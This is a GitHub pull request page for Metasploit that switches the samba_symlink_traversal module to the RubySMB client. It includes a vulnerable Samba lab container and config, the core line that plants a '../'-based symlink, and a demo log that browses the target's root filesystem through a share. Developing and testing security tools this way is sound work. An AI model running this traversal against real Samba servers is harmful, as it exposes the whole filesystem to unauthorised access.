Skip to content

Update samba_symlink_traversal to use RubySMB#21383

Open
zeroSteiner wants to merge 3 commits intorapid7:masterfrom
zeroSteiner:feat/smb/symlink-rubysmb
Open

Update samba_symlink_traversal to use RubySMB#21383
zeroSteiner wants to merge 3 commits intorapid7:masterfrom
zeroSteiner:feat/smb/symlink-rubysmb

Conversation

@zeroSteiner
Copy link
Copy Markdown
Contributor

This loads changes from rapid7/ruby_smb#297 and closes a feature gap between Ruby SMB and the Rex SMB client. With the feature gap closed, modules/auxiliary/admin/smb/samba_symlink_traversal.rb can now be switched from Rex to the RubySMB client. One less module in the way of dropping the ancient Rex client.

Most of the logic is on the Ruby SMB side. The samba_symlink_traversal module is the only one that appears to use the unix symlink extension in the framework, so it doesn't make sense IMHO to promote the symlink method to a first-class method on the SimpleClient instance. The abstraction provided by SimpleClient is also pretty irrelevant in this context because the module will only ever work with SMB1 anyways.

Testing

  • Build the provided container
  • Run the module
  • Use smbclient to see that a symlink was created to the target's file system root, allowing it to then be explored
Containerfile
FROM ubuntu:22.04

RUN apt-get update && \
    apt-get install -y --no-install-recommends samba samba-vfs-modules && \
    rm -rf /var/lib/apt/lists/*

RUN useradd -ms /bin/bash smbuser && \
    (echo "smbuser"; echo "smbuser") | smbpasswd -a -s smbuser

# World-writable share the module drops the symlink into
RUN mkdir -p /srv/samba/tmp && \
    chown smbuser:smbuser /srv/samba/tmp && \
    chmod 0777 /srv/samba/tmp

# Readable file outside the share to prove the escape worked
RUN mkdir -p /srv/samba/secret && \
    echo 'flag{symlink_traversal_works}' > /srv/samba/secret/flag.txt && \
    chmod 0644 /srv/samba/secret/flag.txt

COPY smb.conf /etc/samba/smb.conf

EXPOSE 139 445

CMD ["smbd", "--foreground", "--no-process-group", "--debug-stdout"]
smb.conf
[global]
   workgroup = WORKGROUP
   security = user
   map to guest = never
   server min protocol = NT1
   server max protocol = SMB3
   client min protocol = NT1
   ntlm auth = yes
   unix extensions = yes
   wide links = yes
   allow insecure wide links = yes
   log level = 1
   log file = /dev/stdout

[tmp]
   path = /srv/samba/tmp
   writable = yes
   browseable = yes
   guest ok = no
   follow symlinks = yes
   wide links = yes

Demo

msf auxiliary(admin/smb/samba_symlink_traversal) > show options 

Module options (auxiliary/admin/smb/samba_symlink_traversal):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS     192.168.159.128  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      4445             yes       The SMB service port (TCP)
   SMBSHARE   tmp              yes       The name of a writeable share on the server
   SMBTARGET  flag             yes       The name of the directory that should point to the root filesystem


View the full module info with the info, or info -d command.

msf auxiliary(admin/smb/samba_symlink_traversal) > run
[*] Running module against 192.168.159.128
[*] 192.168.159.128:4445 - Connecting to the server...
[*] 192.168.159.128:4445 - Trying to mount writeable share 'tmp'...
[*] 192.168.159.128:4445 - Trying to link 'flag' to the root filesystem...
[*] 192.168.159.128:4445 - Now access the following share to browse the root filesystem:
[*] 192.168.159.128:4445 -     \\192.168.159.128\tmp\flag\
[*] Auxiliary module execution completed
msf auxiliary(admin/smb/samba_symlink_traversal) > smbclient //192.168.159.128/tmp -p 4445 -U smbuser%smbuser -m NT1 --option='client min protocol = NT1' -c 'cd flag1; cd flag; ls'
[*] exec: smbclient //192.168.159.128/tmp -p 4445 -U smbuser%smbuser -m NT1 --option='client min protocol = NT1' -c 'cd flag1; cd flag; ls'

cd \flag1\: NT_STATUS_OBJECT_NAME_NOT_FOUND
  .                                   D        0  Mon Apr 27 11:24:18 2026
  ..                                  D        0  Mon Apr 27 11:24:18 2026
  bin                                 D        0  Fri Apr 24 12:06:49 2026
  boot                                D        0  Mon Apr 18 06:28:59 2022
  dev                                 D        0  Mon Apr 27 11:24:18 2026
  etc                                 D        0  Mon Apr 27 11:24:18 2026
  home                                D        0  Fri Apr 24 12:06:54 2026
  lib                                 D        0  Fri Apr 24 12:06:49 2026
  lib32                               D        0  Thu Apr  9 22:21:57 2026
  lib64                               D        0  Thu Apr  9 22:30:54 2026
  libx32                              D        0  Thu Apr  9 22:21:57 2026
  media                               D        0  Thu Apr  9 22:21:59 2026
  mnt                                 D        0  Thu Apr  9 22:21:59 2026
  opt                                 D        0  Thu Apr  9 22:21:59 2026
  proc                                D        0  Mon Apr 27 11:24:18 2026
  root                                D        0  Thu Apr  9 22:31:01 2026
  run                                 D        0  Mon Apr 27 11:24:18 2026
  sbin                                D        0  Fri Apr 24 12:06:49 2026
  srv                                 D        0  Fri Apr 24 12:06:55 2026
  sys                                 D        0  Mon Apr 27 08:52:28 2026
  tmp                                 D        0  Fri Apr 24 12:06:49 2026
  usr                                 D        0  Thu Apr  9 22:21:59 2026
  var                                 D        0  Thu Apr  9 22:31:01 2026

		207614976 blocks of size 1024. 135440516 blocks available
msf auxiliary(admin/smb/samba_symlink_traversal) > 

Points the Gemfile at the paired ruby_smb feat/smb1/symlink working tree
so the new SMB1::Tree#set_unix_link method is reachable during review.

REVERT / REPLACE before merge: once ruby_smb publishes a release with
the symlink support, replace this with a real version bump in the
gemspec (spec.add_runtime_dependency 'ruby_smb', '~> X.Y.Z').

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@zeroSteiner zeroSteiner force-pushed the feat/smb/symlink-rubysmb branch from 65836a9 to ef48781 Compare April 27, 2026 19:06
@zeroSteiner zeroSteiner force-pushed the feat/smb/symlink-rubysmb branch from ef48781 to 8c2b213 Compare April 27, 2026 19:10
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Switches the samba_symlink_traversal auxiliary module from the legacy Rex SMB1 client to the RubySMB backend by leveraging RubySMB’s UNIX symlink extension support, and updates dependencies accordingly.

Changes:

  • Update samba_symlink_traversal to connect with backend: :ruby_smb and create the symlink via RubySMB tree methods.
  • Add error handling for RubySMB UnexpectedStatusCode in the module run path.
  • Move ruby_smb dependency to a git-sourced branch and update the lockfile accordingly.

Impact Analysis:

  • Blast radius: medium (framework-wide Ruby dependency change via Gemfile/Gemfile.lock; direct runtime impact primarily on SMB/RubySMB consumers).
  • Data and contract effects: no schema changes; dependency source changes may affect runtime behavior/compatibility of RubySMB-based SMB operations.
  • Rollback and test focus: rollback = revert Gemfile/Gemfile.lock + module change; validate SMB1 negotiation/login, share tree connect, and symlink creation on a Samba target with UNIX extensions enabled.

Reviewed changes

Copilot reviewed 2 out of 4 changed files in this pull request and generated 2 comments.

File Description
modules/auxiliary/admin/smb/samba_symlink_traversal.rb Uses RubySMB backend for SMB1 and calls the UNIX symlink operation via RubySMB.
lib/rex/proto/smb/simple_client.rb Minor indentation fix in trans_pipe.
Gemfile.lock Switches ruby_smb to a git source and updates transitive dependencies.
Gemfile Adds git-sourced ruby_smb dependency reference.

Comment on lines 56 to +60
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
simple.client.symlink(datastore['SMBTARGET'], '../' * 10)
simple.client.last_tree.set_unix_link(symlink: datastore['SMBTARGET'], target: '../' * 10)
Copy link

Copilot AI Apr 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Important: Problem: simple.connect(...) doesn’t provide the Tree object and the next line relies on simple.client.last_tree, which is not a pattern used elsewhere (other RubySMB-using modules store the return value of tree_connect, e.g. modules/auxiliary/scanner/smb/smb_enumshares.rb:192 and smb_enum_gpp.rb:175). Impact: this adds a hidden dependency on RubySMB client state and can break if last_tree isn’t set to the intended share/tree. Fix: call tree = simple.client.tree_connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") and invoke tree.set_unix_link(...) on that explicit tree instance.

Copilot uses AI. Check for mistakes.
Comment thread Gemfile
gem 'timecop'
end

gem 'ruby_smb', git: 'https://github.com/zeroSteiner/ruby_smb', branch: 'feat/smb1/symlink'
Copy link

Copilot AI Apr 28, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Important: Problem: the Gemfile pins ruby_smb to a moving git branch on a fork (zeroSteiner/ruby_smb, feat/smb1/symlink). Impact: dependency supply-chain/reproducibility risk (a branch can be force-pushed or change without notice), which can make builds non-deterministic across environments. Fix: pin to a specific commit via ref: (and ideally the upstream repo or a released gem version) so the dependency is immutable.

Suggested change
gem 'ruby_smb', git: 'https://github.com/zeroSteiner/ruby_smb', branch: 'feat/smb1/symlink'
gem 'ruby_smb', git: 'https://github.com/zeroSteiner/ruby_smb', ref: 'REPLACE_WITH_VETTED_COMMIT_SHA'

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants